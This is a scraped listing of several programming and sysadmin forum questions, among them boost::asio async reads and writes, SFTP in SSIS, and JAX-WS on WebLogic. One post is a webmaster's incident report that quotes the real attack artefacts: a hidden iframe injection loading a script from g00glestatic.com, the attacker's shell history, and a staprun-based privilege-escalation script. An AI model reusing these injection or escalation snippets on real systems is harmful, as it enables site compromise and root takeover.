  I'm trying to modify the echo server example from boost asio and I'm running into problem when I try to use boost::asio::async_read_until. Here's the code: #include <cstdlib> #include <iostream> #include <boost/bind.hpp> #include <boost/asio.hpp> using boost::asio::ip::tcp; class session { public: session(boost::asio::io_service& io_service) : socket_(io_service) { } tcp::socket& socket() { return socket_; } void start() { std::cout<<"starting"<<std::endl; boost::asio::async_read_until(socket_, boost::asio::buffer(data_, max_length), ' ', boost::bind(&session::handle_read, this, boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); } void handle_read(const boost::system::error_code& error, size_t bytes_transferred) { std::cout<<"handling read"<<std::endl; if (!error) { boost::asio::async_write(socket_, boost::asio::buffer(data_, bytes_transferred), boost::bind(&session::handle_write, this, boost::asio::placeholders::error)); } else { delete this; } } void handle_write(const boost::system::error_code& error) { if (!error) { /* socket_.async_read_some(boost::asio::buffer(data_, max_length), boost::bind(&session::handle_read, this, boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); */ } else { delete this; } } private: tcp::socket socket_; enum { max_length = 1024 }; char data_[max_length]; }; class server { public: server(boost::asio::io_service& io_service, short port) : io_service_(io_service), acceptor_(io_service, tcp::endpoint(tcp::v4(), port)) { session* new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } void handle_accept(session* new_session, const boost::system::error_code& error) { if (!error) { new_session->start(); new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } else { delete new_session; } } private: boost::asio::io_service& io_service_; tcp::acceptor acceptor_; }; int main(int argc, char* argv[]) { try { if (argc != 2) { std::cerr << "Usage: async_tcp_echo_server <port>\n"; return 1; } boost::asio::io_service io_service; using namespace std; // For atoi. server s(io_service, atoi(argv[1])); io_service.run(); } catch (std::exception& e) { std::cerr << "Exception: " << e.what() << "\n"; } return 0; } The problem is when I try to compile I get this weird error: server.cpp: In member function ‘void session::start()’: server.cpp:27: error: no matching function for call to ‘async_read_until(boost::asio::basic_stream_socket &, boost::asio::mutable_buffers_1, char, boost::_bi::bind_t, boost::_bi::list3, boost::arg<1 ()(), boost::arg<2 ()() )’ Can someone please explain what's going on? From what I can tell the arguments to async_read_until are correct. Thanks!

• boost::asio::async_read_until problem

  - by user368831

  Hi again, I'm modify the boost asio echo example to use async_read_until to read the input word by word. Even though I am using async_read_until all the data sent seems to be read from the socket.

• Best Method to SFTP or FTPS Files via SSIS

  - by Registered User

  What is the best method using SSIS (SQL Server Integration Services) to upload a file to either a remote SFTP (secure FTP with SSH2 protocal) or FTPS (FTP over SSL) site? I've used the following methods, but each has short-comings I would like to avoid: COZYROC LIBRARY Method: Install the CozyRoc library on each development and production server and use the SFTP task to upload the files. Pros: Easy to use. It looks, smells, and feels like a normal SSIS task. SSIS also recognizes the password as sensitive information and allows you all the normal options for protecting the sensitive information instead of just storing it in clear text in a non-secure manner. Works well with other SSIS tasks such as ForEach Loop Containers. Errors out when uploads and downloads fail. Works well when you don't know the names of the files on the remote FTP site to download or when you won't know the name of the file to upload until run-time. Cons: Costs money to license in a production environment. Makes you dependent upon the vendor to update their libraries between each version. Although they already have a 2008 version, this caused me a problem during the CTP's of 2008. Requires installing the libraries on each development and production machine. COMMAND LINE SFTP PROGRAM Method: Install a free command-line SFTP application such as Putty and execute it either by running a batch file or operating system process task. Pros: Free, free, and free. You can be sure it is secure if you are using Putty since numerous GUI FTP clients appear to use Putty under the covers. You DEFINATELY know you are using SSH2 and not SSH. Cons: The two command-line utilities I tried (Putty and Cygwin) required storing the SFTP password in a non-secure location. I haven't found a good way to capture failures or errors when uploading files. The process doesn't look and smell like SSIS. Most of the code is encapsulated in text files instead of SSIS itself. Difficult to use if you don't know the exact name of the file you are uploading or downloading. A 3RD PARTY C# or VB.NET LIBRARY Method: Install a SFTP or FTPS library and use a Script Task that references the library to upload the files. (I've never tried this, so I'm going to guess at the pros and cons) Pros: Probably easy to capture errors. Should work well with variables, so it would probably be easy to use even when you don't know the exact name of the file you are uploading or downloading. Cons: It's a script task combined with .NET libraries. If you are using SSIS, then you probably are more comfortable with SSIS tasks then .NET code. Script tasks are also difficult to troubleshoot since they don't have the same debugging tools and features as regular .NET projects. Creates a dependency on 3rd party code that may not work between different versions of SQL Server. To be fair, it is probably MORE likely to work between different versions of SQL Server than a 3rd party SSIS task library. Another huge con -- I haven't found a free C# or VB.NET library that does this as of yet. So if anyone knows of one, then please let me know!

• Write-error on swap-device, Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK

  - by Jan

  My root server at 1&1 was unresponsive on HTTP and SSH, so I logged into the serial console . It flooded my connection with endless error messages like quoted below. I initiated a reboot and now everything seems to work properly. After googling, I installed smartctl and ran a short self test, which told me the device was healthy. Is this likely a disk failure soon to happen or could it be just some program going wild? I assume, the swap device could also grow full when huge amounts of memory get consumed by a buggy program? How can I find out for sure? The sever was already unresponsive a week ago when I just restarted it without proper investigation. The server is running on CentOS.

• Mass targeted malware installed - g00glestatic.com [closed]

  - by Silver89

  Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit... "; printf "install uprobes /bin/sh" > ololo.conf; MODPROBE_OPTIONS="-C ololo.conf" staprun -u ololo rm -f ololo.conf fi Other Noticeable Edits Any files that contain: ([.htaccess]|[index|header|footer].php|[*.js]) will have been modified and all system file and directory permissions will have been changed to: x--x--x My steps to remove this malware re uploaded original php/js files to revert any changes Changed all user passwords Modified hosts.allow to a static ip so that only I have access Removed the above 4 files and checked all modified file dates within that directory to check for any other recent modifications, none can be found Conclusion I'm hoping that as they did not have root access, any changes they wished to make higher up failed and they were only able to display an iframe on the site for a short amount of time? What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

• Getting JAX-WS client work on Weblogic 9.2 with ant

  - by michuk

  I've recently had lots of issues trying to deploy a JAX-WS web servcie client on Weblogic 9.2. It turns out there is no straightforward guide on how to achieve this, so I decided to put together this short wiki entry hoping it might be useful for others. Firstly, Weblogic 9.2 does not support web servcies using JAX-WS in general. It comes with old versions of XML-related java libraries that are incompatible with the latest JAX-WS (similar issues occur with Axis2, only Axis1 seems to be working flawlessly with Weblogic 9.x but that's a very old and unsupported library). So, in order to get it working, some hacking is required. This is how I did it (note that we're using ant in our legacy corporate project, you probably should be using maven which should eliminate 50% of those steps below): Download the most recent JAX-WS distribution from https://jax-ws.dev.java.net/ (The exact version I got was JAXWS2.2-20091203.zip) Place the JAX-WS jars with the dependencies in a separate folder like lib/webservices. Create a patternset in ant to reference those jars: Include the patternset in your WAR-related goal. This could look something like: (not the flatten="true" parameter - it's important as Weblogic 9.x is by default not smart enough to access jars located in a different lcoation than WEB-INF/lib inside your WAR file) In case of clashes, Weblogic uses its own jars by default. We want it to use the JAX-WS jars from our application instead. This is achieved by preparing a weblogic-application.xml file and placing it in META-INF folder of the deplotyed EAR file. It should look like this: javax.jws. javax.xml.bind. javax.xml.crypto. javax.xml.registry. javax.xml.rpc. javax.xml.soap. javax.xml.stream. javax.xml.ws. com.sun.xml.api.streaming.* Remember to place that weblogic-application.xml file in your EAR! The ant goal for that may look similar to: <jar destfile="${warfile}" basedir="${wardir}"/> <ear destfile="${earfile}" appxml="resources/${app.name}/application.xml"> <fileset dir="${dist}" includes="${app.name}.war"/> <metainf dir="resources/META-INF"/> </ear> Also you need to tell weblogic to prefer your WEB-INF classes to those in distribution. You do that by placing the following lines in your WEB-INF/weblogic.xml file: true And that's it for the weblogic-related configuration. Now only set up your JAX-WS goal. The one below is going to simply generate the web service stubs and classes based on a locally deployed WSDL file and place them in a folder in your app: Remember about the keep="true" parameter. Without it, wsimport generates the classes and... deletes them, believe it or not! For mocking a web service I suggest using SOAPUI, an open source project. Very easy to deploy, crucial for web servcies intergation testing. We're almost there. The final thing is to write a Java class for testing the web service, try to run it as a standalone app first (or as part of your unit tests) And then try to run the same code from withing Weblogic. It should work. It worked for me. After some 3 days of frustration. And yes, I know I should've put 9 and 10 under a single bullet-point, but the title "10 steps to deploy a JAX-WS web service under Web logic 9.2 using ant" sounds just so much better. Please, edit this post and improve it if you find something missing!

• Android 1.5 - 2.1 Search Activity affects Parent Lifecycle

  - by pacoder

  Behavior seems consistent in Android 1.5 to 2.1 Short version is this, it appears that when my (android search facility) search activity is fired from the android QSR due to either a suggestion or search, UNLESS my search activity in turn fires off a VISIBLE activity that is not the parent of the search, the search parents life cycle changes. It will NOT fire onDestroy until I launch a visible activity from it. If I do, onDestroy will fire fine. I need a way to get around this behavior... The long version: We have implemented a SearchSuggestion provider and a Search activity in our application. The one thing about it that is very odd is that if the SearchManager passes control to our custom Search activity, AND that activity does not create a visible Activity the Activity which parented the search does not destroy (onDestroy doesn't run) and it will not until we call a visible Activity from the parent activity. As long as our Search Activity fires off another Activity that gets focus the parent activity will fire onDestroy when I back out of it. The trick is that Activity must have a visual component. I tried to fake it out with a 'pass through' Activity so that my Search Activity could fire off another Intent and bail out but that didn't work either. I have tried setting our SearchActivity to launch singleTop and I also tried setting its noHistory attribute to true, tried setResult(RESULT_OK) in SearchACtivity prior to finish, bunch of other things, nothing is working. This is the chunk of code in our Search Activity onCreate. Couple of notes about it: If Intent is Action_Search (user typed in their own search and didn't pick a suggestion), we display a list of results as our Search Activity is a ListActivity. In this case when the item is picked, the Search Activity closes and our parent Activity does fire onDestroy() when we back out. If Intent is Action_View (user picked a suggestion) when type is "action" we fire off an Intent that creates a new visible Activity. In this case same thing, when we leave that new activity and return to the parent activity, the back key does cause the parent activity to fire onDestroy when leaving. If Intent is Action_View (user picked a suggestion) when type is "pitem" is where the problem lies. It works fine (the method call focuses an item on the parent activity), but when the back button is hit on the parent activity onDestroy is NOT called. IF after this executes I pick an option in the parent activity that fires off another activity and return to the parent then back out it will fire onDestroy() in the parent activity. Note that the "action" intent ends up running the exact same method call as "pitem", it just bring up a new visual Activity first. Also I can take out the method call from "pitem" and just finish() and the behavior is the same, the parent activity doesn't fire onDestroy() when backed out of. if (Intent.ACTION_SEARCH.equals(queryAction)) { this.setContentView(_layoutId); String searchKeywords = queryIntent.getStringExtra(SearchManager.QUERY); init(searchKeywords); } else if(Intent.ACTION_VIEW.equals(queryAction)){ Bundle bundle = queryIntent.getExtras(); String key = queryIntent.getDataString(); String userQuery = bundle.getString(SearchManager.USER_QUERY); String[] keyValues = key.split("-"); if(keyValues.length == 2) { String type = keyValues[0]; String value = keyValues[1]; if(type.equals("action")) { Intent intent = new Intent(this, EventInfoActivity.class); Long longKey = Long.parseLong(value); intent.putExtra("vo_id", longKey); startActivity(intent); finish(); } else if(type.equals("pitem")) { Integer id = Integer.parseInt(value); _application._servicesManager._mapHandlerSelector.selectInfoItem(id); finish(); } } } It just seems like something is being held onto and I can't figure out what it is, in all cases the Search Activity fires onDestroy() when finish() is called so it is definitely going away. If anyone has any suggestions I'd be most appreciative. Thanks, Sean Overby

• boost::asio::async_write problem

  - by user368831

  Hi, I'm trying to figure out how asynchronous reads and writes work in boost asio by manipulating the echo example. Currently, I have a server that should, when sent a sentence, respond with only the first word. However, the boost::asio::async_write never seems to complete even though the write handler is being called. Can someone please explain what's going on? Here's the code: #include <cstdlib> #include <iostream> #include <boost/bind.hpp> #include <boost/asio.hpp> using boost::asio::ip::tcp; class session { public: session(boost::asio::io_service& io_service) : socket_(io_service) { } tcp::socket& socket() { return socket_; } void start() { std::cout<<"starting"<<std::endl; boost::asio::async_read_until(socket_, buffer, ' ', boost::bind(&session::handle_read, this, boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); } void handle_read(const boost::system::error_code& error, size_t bytes_transferred) { // std::ostringstream ss; // ss<<&buffer; char* c = new char[bytes_transferred]; //std::string s; buffer.sgetn(c,bytes_transferred); std::cout<<"data: "<< c<<" bytes: "<<bytes_transferred<<std::endl; if (!error) { boost::asio::async_write(socket_, boost::asio::buffer(c,bytes_transferred), boost::bind(&session::handle_write, this, boost::asio::placeholders::error)); } else { delete this; } } void handle_write(const boost::system::error_code& error) { std::cout<<"handling write"<<std::endl; if (!error) { } else { delete this; } } private: tcp::socket socket_; boost::asio::streambuf buffer; }; class server { public: server(boost::asio::io_service& io_service, short port) : io_service_(io_service), acceptor_(io_service, tcp::endpoint(tcp::v4(), port)) { session* new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } void handle_accept(session* new_session, const boost::system::error_code& error) { if (!error) { new_session->start(); new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } else { delete new_session; } } private: boost::asio::io_service& io_service_; tcp::acceptor acceptor_; }; int main(int argc, char* argv[]) { try { if (argc != 2) { std::cerr << "Usage: async_tcp_echo_server <port>\n"; return 1; } boost::asio::io_service io_service; using namespace std; // For atoi. server s(io_service, atoi(argv[1])); io_service.run(); } catch (std::exception& e) { std::cerr << "Exception: " << e.what() << "\n"; } return 0; } Thanks!
